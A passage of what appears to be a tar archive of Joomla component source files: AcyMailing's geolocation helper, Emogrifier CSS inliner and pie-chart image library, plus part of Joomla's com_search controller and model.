                break;
            case SASL_NTLM_STATE_DONE:
                $client->error = "NTLM authentication was finished without success";
                return (SASL_FAIL);
            default:
                $client->error = "invalid NTLM authentication step state";
                return (SASL_FAIL);
        }
        return (SASL_CONTINUE);
    }
}
com_acymailing/inc/phpmailer/extras/index.html000060400000000054152453734450015563 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/inc/ipinfodb.php000060400000005501152453734450012604 0ustar00<?php
/**
 * @package	Acymailing for Joomla!
 * @version	4.0.0
 * @author	deanimaconsulting.com
 * @copyright	(C) 2009-2012 De Anima Consulting Ltd. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

acymailing_cmsLoaded();

class ipinfodbInc{
	var $errors = array();
	var $service = 'api.ipinfodb.com';
	var $version = 'v3';
	var $apiKey = '';
	var $timeout = 5;

	function setKey($key){
		if(!empty($key)) $this->apiKey = $key;
	}
	function setTimeout($key){
		if(!empty($key)) $this->timeout = $key;
	}

	function getError(){
		return implode("\n", $this->errors);
	}

	function getCountry($host){
		return $this->getResult($host, 'ip-country');
	}

	function getCity($host){
		return $this->getResult($host, 'ip-city');
	}

	function getResult($host, $name){
		$ip = @gethostbyname($host);

		if(preg_match('/^(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)(?:[.](?:25[0-5]|2[0-4]\d|1\d\d|[1-9]\d|\d)){3}$/', $ip)){
			return $this->curlRequest($ip, $name);
		}

		$this->errors[] = '"' . $host . '" is not a valid IP address or hostname.';
		return;
	}
	function curlRequest($ip, $name) {
		$qs = 'http://' . $this->service . '/' . $this->version . '/' . $name . '/' . '?ip=' . $ip . '&format=json&key=' . $this->apiKey;
		if(!function_exists('curl_init')){
			//$app->enqueueMessage('The AcyMailing geolocation plugin needs the CURL library installed but it seems that it is not available on your server. Please contact your web hosting to set it up.','error');
			$this->errors[] = 'The AcyMailing geolocation plugin needs the CURL library installed but it seems that it is not available on your server. Please contact your web hosting to set it up.';
			return false;
		}
		if(!function_exists('json_decode')){
			//$app->enqueueMessage('The AcyMailing geolocation plugin can only work with PHP 5.2 at least. Please ask your web hosting to update your PHP version','error');
			$this->errors[] = 'The AcyMailing geolocation plugin can only work with PHP 5.2 at least. Please ask your web hosting to update your PHP version';
			return false;
		}
		if (!isset($this->curl)) {
			$this->curl = curl_init();
			curl_setopt ($this->curl, CURLOPT_FAILONERROR, TRUE);
			if (@ini_get('open_basedir') == '' && @ini_get('safe_mode' == 'Off')) {
				curl_setopt ($this->curl, CURLOPT_FOLLOWLOCATION, TRUE);
			}
			curl_setopt ($this->curl, CURLOPT_RETURNTRANSFER, TRUE);
			curl_setopt ($this->curl, CURLOPT_CONNECTTIMEOUT, $this->timeout);
			curl_setopt ($this->curl, CURLOPT_TIMEOUT, $this->timeout);
		}

		curl_setopt ($this->curl, CURLOPT_URL, $qs);

		$json = curl_exec($this->curl);

		if(curl_errno($this->curl) || $json === FALSE) {
			$this->errors[] = 'cURL failed. Error: ' . curl_error($this->curl);
			//$app->enqueueMessage('cURL failed. Error: ' . $err);
			return false;
		}

		$response = json_decode($json);

		return $response;
	}
}com_acymailing/inc/emogrifier/emogrifier.php000060400000027504152453734450015301 0ustar00<?php

acymailing_cmsLoaded();

/*
UPDATES
		2008-08-10  Fixed CSS comment stripping regex to add PCRE_DOTALL (changed from '/\/\*.*\*\//U' to '/\/\*.*\*\//sU')
		2008-08-18  Added lines instructing DOMDocument to attempt to normalize HTML before processing
		2008-10-20  Fixed bug with bad variable name... Thanks Thomas!
		2008-03-02  Added licensing terms under the MIT License
								Only remove unprocessable HTML tags if they exist in the array
		2009-06-03  Normalize existing CSS (style) attributes in the HTML before we process the CSS.
								Made it so that the display:none stripper doesn't require a trailing semi-colon.
		2009-08-13  Added support for subset class values (e.g. "p.class1.class2").
								Added better protection for bad css attributes.
								Fixed support for HTML entities.
		2009-08-17  Fixed CSS selector processing so that selectors are processed by precedence/specificity, and not just in order.
		2009-10-29  Fixed so that selectors appearing later in the CSS will have precedence over identical selectors appearing earlier.
		2009-11-04  Explicitly declared static functions static to get rid of E_STRICT notices.
		2010-05-18  Fixed bug where full url filenames with protocols wouldn't get split improperly when we explode on ':'... Thanks Mark!
								Added two new attribute selectors
		2010-06-16  Added static caching for less processing overhead in situations where multiple emogrification takes place
		2010-07-26  Fixed bug where '0' values were getting discarded because of php's empty() function... Thanks Scott!
		2010-09-03  Added checks to invisible node removal to ensure that we don't try to remove non-existent child nodes of parents that have already been deleted


*/

class acymailingEmogrifier{

	private $html = '';
	private $css = '';
	private $unprocessableHTMLTags = array('wbr');

	public function __construct($html = '', $css = ''){
		$this->html = $html;
		$this->css = $css;
	}

	public function setHTML($html = ''){ $this->html = $html; }

	public function setCSS($css = ''){ $this->css = $css; }

	// there are some HTML tags that DOMDocument cannot process, and will throw an error if it encounters them.
	// these functions allow you to add/remove them if necessary.
	// it only strips them from the code (does not remove actual nodes).
	public function addUnprocessableHTMLTag($tag){ $this->unprocessableHTMLTags[] = $tag; }

	public function removeUnprocessableHTMLTag($tag){
		if(($key = array_search($tag, $this->unprocessableHTMLTags)) !== false)
			unset($this->unprocessableHTMLTags[$key]);
	}

	public static function strtolower($matches){
		return strtolower($matches[0]);
	}

	// applies the CSS you submit to the html you submit. places the css inline
	public function emogrify(){
		$body = $this->html;
		// process the CSS here, turning the CSS style blocks into inline css
		if(count($this->unprocessableHTMLTags)){
			$unprocessableHTMLTags = implode('|', $this->unprocessableHTMLTags);
			$body = preg_replace("/<($unprocessableHTMLTags)[^>]*>/i", '', $body);
		}

		//$encoding = mb_detect_encoding($body);
		$encoding = 'UTF-8';
		$body = mb_convert_encoding($body, 'HTML-ENTITIES', $encoding);

		$xmldoc = @ new DOMDocument;
		if(!is_object($xmldoc) || !method_exists($xmldoc, 'loadHTML')) return $this->html;

		$xmldoc->encoding = $encoding;
		$xmldoc->strictErrorChecking = false;
		$xmldoc->formatOutput = true;
		//ACYBA MODIFICATION : let's avoid some warnings
		//Disable the loadHTML function errors which may crash some servers.
		if(function_exists('libxml_use_internal_errors')) libxml_use_internal_errors(true);
		@$xmldoc->loadHTML($body);
		$xmldoc->normalizeDocument();

		$xpath = new DOMXPath($xmldoc);

		// before be begin processing the CSS file, parse the document and normalize all existing CSS attributes (changes 'DISPLAY: none' to 'display: none');
		// we wouldn't have to do this if DOMXPath supported XPath 2.0.
		$nodes = @$xpath->query('//'.'*[@style]');
		if($nodes->length > 0) foreach($nodes as $node){
			$node->setAttribute('style', preg_replace_callback('/[A-z\-]+(?=\:)/S', array($this, 'strtolower'), $node->getAttribute('style')));
		}
		// get rid of css comment code
		$re_commentCSS = '/\/\*.*\*\//sU';
		$css = preg_replace($re_commentCSS, '', $this->css);

		static $csscache = array();
		$csskey = md5($css);
		if(!isset($csscache[$csskey])){

			// process the CSS file for selectors and definitions
			$re_CSS = '/^\s*([^{]+){([^}]+)}/mis';
			preg_match_all($re_CSS, $css, $matches);

			$all_selectors = array();
			foreach($matches[1] as $key => $selectorString){
				// if there is a blank definition, skip
				if(!strlen(trim($matches[2][$key]))) continue;

				// else split by commas and duplicate attributes so we can sort by selector precedence
				$selectors = explode(',', $selectorString);
				foreach($selectors as $selector){
					// don't process pseudo-classes
					if(strpos($selector, ':') !== false) continue;
					$all_selectors[] = array(
						'selector' => $selector,
						'attributes' => $matches[2][$key],
						'index' => $key, // keep track of where it appears in the file, since order is important
					);
				}
			}

			// now sort the selectors by precedence
			usort($all_selectors, array('self', 'sortBySelectorPrecedence'));

			$csscache[$csskey] = $all_selectors;
		}

		for($a = count($csscache[$csskey]) - 1; $a >= 0; $a--){

			// query the body for the xpath selector
			$nodes = @$xpath->query($this->translateCSStoXpath(trim($csscache[$csskey][$a]['selector'])));
			if(empty($nodes)) continue;

			foreach($nodes as $node){
				// if it has a style attribute, get it, process it, and append (overwrite) new stuff
				if($node->hasAttribute('style')){
					// break it up into an associative array
					$oldStyleArr = $this->cssStyleDefinitionToArray($node->getAttribute('style'));
					$newStyleArr = $this->cssStyleDefinitionToArray($csscache[$csskey][$a]['attributes']);

					// new styles overwrite the old styles (not technically accurate, but close enough)
					//Changed by Acyba, we don't overwrite the old styles, we keep them and add only the new ones
					//$combinedArr = array_merge($oldStyleArr,$newStyleArr);
					$combinedArr = array_merge($newStyleArr, $oldStyleArr);
					$style = '';
					foreach($combinedArr as $k => $v) $style .= (strtolower($k).':'.$v.';');
				}
				else{
					// otherwise create a new style
					$style = trim($csscache[$csskey][$a]['attributes']);
				}
				$node->setAttribute('style', $style);
			}
		}

		//Adrien : we don't need that... it removed display:none elements from the Newsletter, we may need them with media query
		// This removes styles from your email that contain display:none. You could comment these out if you want.
		//$nodes = $xpath->query('//'.'*[contains(translate(@style," ",""),"display:none")]');
		// the checks on parentNode and is_callable below are there to ensure that if we've deleted the parent node,
		// we don't try to call removeChild on a nonexistent child node
		//if ($nodes->length > 0) foreach ($nodes as $node) if ($node->parentNode && is_callable(array($node->parentNode,'removeChild'))) $node->parentNode->removeChild($node);

		$result = $this->fixCompatibility($xmldoc->saveHTML());
		
		// Special fix for ElasticEmail, they force their users to insert something like this:
		// <a href="{unsubscribeauto:http://link-to-your-unsubscribe-page}">Unsubscribe</a>
		// The { and } are obviously urlencoded, we should prevent it as the EE team automatically adds something ugly in the emails otherwise
		if(strpos($result, 'href="%7Bunsubscribe') !== false){
			$result = preg_replace_callback('#href="%7B(unsubscribe[^"]+)%7D([^"]*)"#Uis', array($this, 'decodeUnsubscribeTags'), $result);
		}
		return $result;
	}
	
	function decodeUnsubscribeTags($matches){
		return 'href="{'.urldecode($matches[1]).'}'.$matches[2].'"';
	}

	private static function sortBySelectorPrecedence($a, $b){
		$precedenceA = self::getCSSSelectorPrecedence($a['selector']);
		$precedenceB = self::getCSSSelectorPrecedence($b['selector']);

		// we want these sorted ascendingly so selectors with lesser precedence get processed first and
		// selectors with greater precedence get sorted last
		return ($precedenceA == $precedenceB) ? ($a['index'] < $b['index'] ? -1 : 1) : ($precedenceA < $precedenceB ? -1 : 1);
	}

	private static function getCSSSelectorPrecedence($selector){
		static $selectorcache = array();
		$selectorkey = md5($selector);
		if(!isset($selectorcache[$selectorkey])){
			$precedence = 0;
			$value = 100;
			$search = array('\#', '\.', ''); // ids: worth 100, classes: worth 10, elements: worth 1

			foreach($search as $s){
				if(trim($selector == '')) break;
				$num = 0;
				$selector = preg_replace('/'.$s.'\w+/', '', $selector, -1, $num);
				$precedence += ($value * $num);
				$value /= 10;
			}
			$selectorcache[$selectorkey] = $precedence;
		}

		return $selectorcache[$selectorkey];
	}

	// right now we support all CSS 1 selectors and /some/ CSS2/3 selectors.
	// http://plasmasturm.org/log/444/
	private function translateCSStoXpath($css_selector){


		$css_selector = trim($css_selector);
		static $xpathcache = array();
		$xpathkey = md5($css_selector);
		if(!isset($xpathcache[$xpathkey])){
			// returns an Xpath selector
			$search = array(
				'/\s+>\s+/', // Matches any F element that is a child of an element E.
				'/(\w+)\s+\+\s+(\w+)/', // Matches any F element that is a child of an element E.
				'/\s+/', // Matches any F element that is a descendant of an E element.
				'/(\w)\[(\w+)\]/', // Matches element with attribute
				'/(\w)\[(\w+)\=[\'"]?(\w+)[\'"]?\]/'); // Matches element with EXACT attribute);
			$replace = array(
				'/',
				'\\1/following-sibling::*[1]/self::\\2',
				'//',
				'\\1[@\\2]',
				'\\1[@\\2="\\3"]');


			// The preg_replace doesn't handle the "e" modifier anymore in PHP 7+, use preg_replace_callback instead
			$value = preg_replace($search, $replace, $css_selector);
			$value = preg_replace_callback('/(\w+)?\#([\w\-]+)/', array($this, 'callable1'), $value);
			$value = preg_replace_callback('/(\w+|\*)?((\.[\w\-]+)+)/', array($this, 'callable2'), $value);

			$xpathcache[$xpathkey] = '//'.$value;
		}
		return $xpathcache[$xpathkey];
	}

	function callable1($matches){
		return (strlen($matches[1]) ? $matches[1] : '*').'[@id="'.$matches[2].'"]';
	}

	function callable2($matches){
		$result = (strlen($matches[1]) ? $matches[1] : '*');
		$result .= '[contains(concat(" ",@class," "),concat(" ","';
		$result .= implode('"," "))][contains(concat(" ",@class," "),concat(" ","', explode('.', substr($matches[2], 1)));
		$result .= '"," "))]';

		return $result;
	}

	private function cssStyleDefinitionToArray($style){
		$definitions = explode(';', $style);
		$retArr = array();
		foreach($definitions as $def){
			if(empty($def) || strpos($def, ':') === false) continue;
			list($key, $value) = explode(':', $def, 2);
			if(empty($key) || strlen(trim($value)) === 0) continue;
			$retArr[trim($key)] = trim($value);
		}
		return $retArr;
	}

	private function fixCompatibility($text){
		$replace = array();
		$replace['#<br>#Ui'] = '<br />';
		$replace['#<img([^>]*[^/])>#Ui'] = '<img$1 />';
		//We replace the header properly as it may display a non valid DOCTYPE...
		$replace['#<\!DOCTYPE[^>]*>#Usi'] = '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">';
		$body = preg_replace(array_keys($replace), $replace, $text);

		//Just in case of...
		if(empty($body)) $body = $text;
		//Be careful with that line!
		//$body = mb_convert_encoding($body, 'UTF-8', 'HTML-ENTITIES');

		//Debug informations...
		//echo '<textarea cols="100" rows="10">'.htmlentities($text).'</textarea>';
		//echo '<textarea cols="100" rows="10">'.htmlentities($body).'</textarea>';
		return $body;
	}
}

//Just in case of... we used to call it Emogrifier so we don't want to break plugins using this class via the AcyMailing files...
if(!class_exists('Emogrifier')){
	class Emogrifier extends acymailingEmogrifier{
	}
}com_acymailing/inc/emogrifier/LICENSE.TXT000060400000002503152453734450014113 0ustar00
Emogrifier is provided under the terms of the MIT license:
1: http://www.opensource.org/licenses/mit-license.php
2: http://en.wikipedia.org/wiki/MIT_License

=============================================================================

THE EMOGRIFIER LICENSE

Copyright (c) 2008-2009 Pelago (http://www.pelagodesign.com/)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.com_acymailing/inc/emogrifier/index.html000060400000000054152453734450014424 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/inc/index.html000060400000000054152453734450012274 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/inc/phpImg/index.html000060400000000054152453734450013520 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/inc/phpImg/library.php000060400000024537152453734450013714 0ustar00<?php

function piechartToImage($filename, $width, $height, $values, $colors){
    if(empty($values)) return false;
    $img = imageCreateTrueColor( $width, $height );
    imagealphablending($img,true);
    $color = imageColorAllocate( $img, 255, 255, 255);
    imagefill( $img, 0, 0, $color );

    acymailing_arrayToInteger($values);
    $total = array_sum($values);
    $end = M_PI/2+2*M_PI;

	foreach($values as $i => $oneVal){
        if(empty($oneVal)) continue;

        $color = empty($colors[$i]) ? array(66, 66, 66, 1) : $colors[$i];

        imageSmoothArc($img, $width/2, $height/2, $width-20, $height-20, $color, M_PI/2+0.00000001, $end);
        $end -= (2*M_PI*$oneVal)/$total;
    }

	ob_start();
	imagePNG( $img );
	$image = ob_get_clean();
    
    acymailing_writeFile(ACYMAILING_MEDIA.'statistic_charts'.DS.$filename, $image);

	return true;
}

function imageSmoothArcDrawSegment (&$img, $cx, $cy, $a, $b, $aaAngleX, $aaAngleY, $color, $start, $stop, $seg)
{
    $fillColor = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], $color[3] );
    
    $xStart = abs($a * cos($start));
    $yStart = abs($b * sin($start));
    $xStop  = abs($a * cos($stop));
    $yStop  = abs($b * sin($stop));
    $dxStart = 0;
    $dyStart = 0;
    $dxStop = 0;
    $dyStop = 0;
    if ($xStart != 0)
        $dyStart = $yStart/$xStart;
    if ($xStop != 0)
        $dyStop = $yStop/$xStop;
    if ($yStart != 0)
        $dxStart = $xStart/$yStart;
    if ($yStop != 0)
        $dxStop = $xStop/$yStop;
    if (abs($xStart) >= abs($yStart)) {
        $aaStartX = true;
    } else {
        $aaStartX = false;
    }
    if ($xStop >= $yStop) {
        $aaStopX = true;
    } else {
        $aaStopX = false;
    }
	
    for ( $x = 0; $x < $a; $x += 1 ) {
        $_y1 = $dyStop*$x;
        $_y2 = $dyStart*$x;
        if ($xStart > $xStop)
        {
            $error1 = $_y1 - (int)($_y1);
            $error2 = 1 - $_y2 + (int)$_y2;
            $_y1 = $_y1-$error1;
            $_y2 = $_y2+$error2;
        }
        else
        {
            $error1 = 1 - $_y1 + (int)$_y1;
            $error2 = $_y2 - (int)($_y2);
            $_y1 = $_y1+$error1;
            $_y2 = $_y2-$error2;
        }
        
        if ($seg == 0 || $seg == 2)
        {
            $i = $seg;
            if (!($start > $i*M_PI/2 && $x > $xStart)) {
                if ($i == 0) {
                    $xp = +1; $yp = -1; $xa = +1; $ya = 0;
                } else {
                    $xp = -1; $yp = +1; $xa = 0; $ya = +1;
                }
                if ( $stop < ($i+1)*(M_PI/2) && $x <= $xStop ) {
                    $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error1 );
                    $y1 = $_y1; if ($aaStopX) imageSetPixel($img, $cx+$xp*($x)+$xa, $cy+$yp*($y1+1)+$ya, $diffColor1);
                    
                } else {
                    $y = $b * sqrt( 1 - ($x*$x)/($a*$a) );
                    $error = $y - (int)($y);
                    $y = (int)($y);
                    $diffColor = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error );
                    $y1 = $y; if ($x < $aaAngleX ) imageSetPixel($img, $cx+$xp*$x+$xa, $cy+$yp*($y1+1)+$ya, $diffColor);
                }
                if ($start > $i*M_PI/2 && $x <= $xStart) {
                    $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error2 );
                    $y2 = $_y2; if ($aaStartX) imageSetPixel($img, $cx+$xp*$x+$xa, $cy+$yp*($y2-1)+$ya, $diffColor2);
                } else {
                    $y2 = 0;
                }
                if ($y2 <= $y1) imageLine($img, $cx+$xp*$x+$xa, $cy+$yp*$y1+$ya , $cx+$xp*$x+$xa, $cy+$yp*$y2+$ya, $fillColor);
            }
        }
        
        if ($seg == 1 || $seg == 3)
        {
            $i = $seg;
            if (!($stop < ($i+1)*M_PI/2 && $x > $xStop)) {
                if ($i == 1) {
                    $xp = -1; $yp = -1; $xa = 0; $ya = 0;
                } else {
                    $xp = +1; $yp = +1; $xa = 1; $ya = 1;
                }
                if ( $start > $i*M_PI/2 && $x < $xStart ) {
                    $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error2 );
                    $y1 = $_y2; if ($aaStartX) imageSetPixel($img, $cx+$xp*$x+$xa, $cy+$yp*($y1+1)+$ya, $diffColor2);
                    
                } else {
                    $y = $b * sqrt( 1 - ($x*$x)/($a*$a) );
                    $error = $y - (int)($y);
                    $y = (int) $y;
                    $diffColor = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error );
                    $y1 = $y; if ($x < $aaAngleX ) imageSetPixel($img, $cx+$xp*$x+$xa, $cy+$yp*($y1+1)+$ya, $diffColor);
                }
                if ($stop < ($i+1)*M_PI/2 && $x <= $xStop) {
                    $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error1 );
                    $y2 = $_y1; if ($aaStopX)  imageSetPixel($img, $cx+$xp*$x+$xa, $cy+$yp*($y2-1)+$ya, $diffColor1);
                } else {
                    $y2 = 0;
                }
                if ($y2 <= $y1) imageLine($img, $cx+$xp*$x+$xa, $cy+$yp*$y1+$ya, $cx+$xp*$x+$xa, $cy+$yp*$y2+$ya, $fillColor);
            }
        }
    }
    
    for ( $y = 0; $y < $b; $y += 1 ) {
        $_x1 = $dxStop*$y;
        $_x2 = $dxStart*$y;
        if ($yStart > $yStop)
        {
            $error1 = $_x1 - (int)($_x1);
            $error2 = 1 - $_x2 + (int)$_x2;
            $_x1 = $_x1-$error1;
            $_x2 = $_x2+$error2;
        }
        else
        {
            $error1 = 1 - $_x1 + (int)$_x1;
            $error2 = $_x2 - (int)($_x2);
            $_x1 = $_x1+$error1;
            $_x2 = $_x2-$error2;
        }
        
        if ($seg == 0 || $seg == 2)
        {
            $i = $seg;
            if (!($start > $i*M_PI/2 && $y > $yStop)) {
                if ($i == 0) {
                    $xp = +1; $yp = -1; $xa = 1; $ya = 0;
                } else {
                    $xp = -1; $yp = +1; $xa = 0; $ya = 1;
                }
                if ( $stop < ($i+1)*(M_PI/2) && $y <= $yStop ) {
                    $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error1 );
                    $x1 = $_x1; if (!$aaStopX) imageSetPixel($img, $cx+$xp*($x1-1)+$xa, $cy+$yp*($y)+$ya, $diffColor1);
                } 
                if ($start > $i*M_PI/2 && $y < $yStart) {
                    $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error2 );
                    $x2 = $_x2; if (!$aaStartX) imageSetPixel($img, $cx+$xp*($x2+1)+$xa, $cy+$yp*($y)+$ya, $diffColor2);
                } else {
                    $x = $a * sqrt( 1 - ($y*$y)/($b*$b) );
                    $error = $x - (int)($x);
                    $x = (int)($x);
                    $diffColor = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error );
                    $x1 = $x; if ($y < $aaAngleY && $y <= $yStop ) imageSetPixel($img, $cx+$xp*($x1+1)+$xa, $cy+$yp*$y+$ya, $diffColor);
                }
            }
        }
        
        if ($seg == 1 || $seg == 3)
        {
            $i = $seg;
            if (!($stop < ($i+1)*M_PI/2 && $y > $yStart)) {
                if ($i == 1) {
                    $xp = -1; $yp = -1; $xa = 0; $ya = 0;
                } else {
                    $xp = +1; $yp = +1; $xa = 1; $ya = 1;
                }
                if ( $start > $i*M_PI/2 && $y < $yStart ) {
                    $diffColor2 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error2 );
                    $x1 = $_x2; if (!$aaStartX) imageSetPixel($img, $cx+$xp*($x1-1)+$xa, $cy+$yp*$y+$ya,  $diffColor2);
                } 
                if ($stop < ($i+1)*M_PI/2 && $y <= $yStop) {
                    $diffColor1 = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error1 );
                    $x2 = $_x1; if (!$aaStopX)  imageSetPixel($img, $cx+$xp*($x2+1)+$xa, $cy+$yp*$y+$ya, $diffColor1);
                } else {
                    $x = $a * sqrt( 1 - ($y*$y)/($b*$b) );
                    $error = $x - (int)($x);
                    $x = (int)($x);
                    $diffColor = imageColorExactAlpha( $img, $color[0], $color[1], $color[2], 127-(127-$color[3])*$error );
                    $x1 = $x; if ($y < $aaAngleY  && $y < $yStart) imageSetPixel($img,$cx+$xp*($x1+1)+$xa,  $cy+$yp*$y+$ya, $diffColor);
                }
            }
        }
    }
}

function imageSmoothArc ( &$img, $cx, $cy, $w, $h, $color, $start, $stop)
{
    while ($start < 0)
        $start += 2*M_PI;
    while ($stop < 0)
        $stop += 2*M_PI;
    
    while ($start > 2*M_PI)
        $start -= 2*M_PI;
    
    while ($stop > 2*M_PI)
        $stop -= 2*M_PI;
    
    
    if ($start > $stop)
    {
        imageSmoothArc ( $img, $cx, $cy, $w, $h, $color, $start, 2*M_PI);
        imageSmoothArc ( $img, $cx, $cy, $w, $h, $color, 0, $stop);
        return;
    }
    
    $a = 1.0*round ($w/2);
    $b = 1.0*round ($h/2);
    $cx = 1.0*round ($cx);
    $cy = 1.0*round ($cy);
    
    $aaAngle = atan(($b*$b)/($a*$a)*tan(0.25*M_PI));
    $aaAngleX = $a*cos($aaAngle);
    $aaAngleY = $b*sin($aaAngle);
    
    $a -= 0.5;
    $b -= 0.5;
    
    for ($i=0; $i<4;$i++)
    {
        if ($start < ($i+1)*M_PI/2)
        {
            if ($start > $i*M_PI/2)
            {
                if ($stop > ($i+1)*M_PI/2)
                {
                    imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b, $aaAngleX, $aaAngleY , $color, $start, ($i+1)*M_PI/2, $i);
                }
                else
                {
                    imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b, $aaAngleX, $aaAngleY, $color, $start, $stop, $i);
                    break;
                }
            }
            else
            {
                if ($stop > ($i+1)*M_PI/2)
                {
                    imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b, $aaAngleX, $aaAngleY, $color, $i*M_PI/2, ($i+1)*M_PI/2, $i);
                }
                else
                {
                    imageSmoothArcDrawSegment($img, $cx, $cy, $a, $b, $aaAngleX, $aaAngleY, $color, $i*M_PI/2, $stop, $i);
                    break;
                }
            }
        }
    }
}
?>
com_search/controller.php000060400000002147152453734450011557 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search master display controller.
 *
 * @since  1.6
 */
class SearchController extends JControllerLegacy
{
	/**
	 * @var		string	The default view.
	 * @since   1.6
	 */
	protected $default_view = 'searches';

	/**
	 * Method to display a view.
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  SearchController  This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		JLoader::register('SearchHelper', JPATH_ADMINISTRATOR . '/components/com_search/helpers/search.php');

		// Load the submenu.
		SearchHelper::addSubmenu($this->input->get('view', 'searches'));

		return parent::display();
	}
}
com_search/models/search.php000060400000011466152453734450012130 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search Component Search Model
 *
 * @since  1.5
 */
class SearchModelSearch extends JModelLegacy
{
	/**
	 * Search data array
	 *
	 * @var   array
	 */
	protected $_data = null;

	/**
	 * Search total
	 *
	 * @var   integer
	 */
	protected $_total = null;

	/**
	 * Search areas
	 *
	 * @var   integer
	 */
	protected $_areas = null;

	/**
	 * Pagination object
	 *
	 * @var   object
	 */
	protected $_pagination = null;

	/**
	 * Constructor
	 *
	 * @since  1.5
	 */
	public function __construct()
	{
		parent::__construct();

		// Get configuration
		$app    = JFactory::getApplication();
		$config = JFactory::getConfig();

		// Get the pagination request variables
		$this->setState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'uint'));
		$this->setState('limitstart', $app->input->get('limitstart', 0, 'uint'));

		// Get parameters.
		$params = $app->getParams();

		if ($params->get('searchphrase') == 1)
		{
			$searchphrase = 'any';
		}
		elseif ($params->get('searchphrase') == 2)
		{
			$searchphrase = 'exact';
		}
		else
		{
			$searchphrase = 'all';
		}

		// Set the search parameters
		$keyword  = urldecode($app->input->getString('searchword'));
		$match    = $app->input->get('searchphrase', $searchphrase, 'word');
		$ordering = $app->input->get('ordering', $params->get('ordering', 'newest'), 'word');
		$this->setSearch($keyword, $match, $ordering);

		// Set the search areas
		$areas = $app->input->get('areas', null, 'array');
		$this->setAreas($areas);
	}

	/**
	 * Method to set the search parameters
	 *
	 * @param   string  $keyword   string search string
	 * @param   string  $match     matching option, exact|any|all
	 * @param   string  $ordering  option, newest|oldest|popular|alpha|category
	 *
	 * @access  public
	 *
	 * @return  void
	 */
	public function setSearch($keyword, $match = 'all', $ordering = 'newest')
	{
		if (isset($keyword))
		{
			$this->setState('origkeyword', $keyword);

			if ($match !== 'exact')
			{
				$keyword = preg_replace('#\xE3\x80\x80#', ' ', $keyword);
			}

			$this->setState('keyword', $keyword);
		}

		if (isset($match))
		{
			$this->setState('match', $match);
		}

		if (isset($ordering))
		{
			$this->setState('ordering', $ordering);
		}
	}

	/**
	 * Method to get weblink item data for the category
	 *
	 * @access  public
	 * @return  array
	 */
	public function getData()
	{
		// Lets load the content if it doesn't already exist
		if (empty($this->_data))
		{
			$areas = $this->getAreas();

			JPluginHelper::importPlugin('search');
			$dispatcher = JEventDispatcher::getInstance();
			$results = $dispatcher->trigger('onContentSearch', array(
				$this->getState('keyword'),
				$this->getState('match'),
				$this->getState('ordering'),
				$areas['active'])
			);

			$rows = array();

			foreach ($results as $result)
			{
				$rows = array_merge((array) $rows, (array) $result);
			}

			$this->_total = count($rows);

			if ($this->getState('limit') > 0)
			{
				$this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit'));
			}
			else
			{
				$this->_data = $rows;
			}
		}

		return $this->_data;
	}

	/**
	 * Method to get the total number of weblink items for the category
	 *
	 * @access  public
	 *
	 * @return  integer
	 */
	public function getTotal()
	{
		return $this->_total;
	}

	/**
